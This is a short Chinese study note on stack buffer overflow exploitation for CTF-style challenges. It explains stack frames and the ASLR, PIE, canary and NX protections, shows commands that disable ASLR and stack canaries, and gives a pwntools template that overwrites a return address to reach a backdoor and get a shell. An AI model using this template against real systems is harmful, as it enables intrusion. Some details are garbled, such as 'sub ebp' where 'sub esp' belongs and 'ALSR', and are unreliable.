PWN-0x01 栈溢出
2020.05.29
目的:get shell
0x01 栈的工作原理
栈:一种先入后出的数据结构
被用于函数的局部内存管理(局部变量、调用信息)
栈往低地址方向增长
esp永远指向栈顶
push ebp #把ebp的值压入栈顶 esp=esp-4
mov ebp,esp #esp值存入ebp
sub ebp,0x10 #栈顶指针往上提,留出局部变量的空间
.
.
.
leave
ret
#leave 相当于以下操作
mov esp,ebp #通过ebp恢复esp 首尾呼应
pop ebp #pop 从栈顶取出一个数,即出栈 esp=esp+4
0x02 保护机制
checksec
NAME | |
---|---|
ALSR | 堆栈、libc的地址发生变化 |
PIE | 代码段和数据段地址随机化(在ALSR开启的情况下才有效) |
cannary | 比ebp低一位:ebp-0x4(32bit) ebp-0x8(64bit) |
NX | 数据内存页不可执行 |
ALSR:
查看ALSR配置 cat /proc/sys/kernel/randomize_va_space 0 = 关闭 1 =
半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。 2 = 全随机。除了1中所述,还有heap。 root用户下关闭ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
PIE:
默认编译关闭 开启pie进行编译: gcc -fpie -pie -o test-pie test.c
关闭cannary:
-fno-stack-protector
0x03 一般方法
gets(a);
scanf("%s",a);
STACK #STACK中,下面是高位,上面是低位
-------
cannary
esp-->
backdoor
用垃圾字节爆栈
gdb-peda$ pattern create 100 每个字节都是唯一的,方便定位
看eip里存入的值 eg.: A)AA
**gdb-peda$ pattern offset A)AA ** 看之前存了多少个垃圾字节
from pwn import *
context.log_level = 'debug' #看日志
p = process('') #程序路径
gdb.attach(p,'b main') #参数1:进程;参数2:指令
#看发出去的进程干了啥
backdoor = &addr #程序中后门的地址
payload = 'A'*NumOfRubbishByte + p32(backdoor)#32bit-p32,64bit-p64
p.recvuntil('') #题目里的提示符
p.sendline(payload)
p.interactive()
p8–1byte–8bits
小端序解析
0x04 gdb 指令
tip:gdb doesn’t open a process literally
指令 | 用途 |
---|---|
info function | 查看程序调用的函数 |
disassemble | 反汇编 |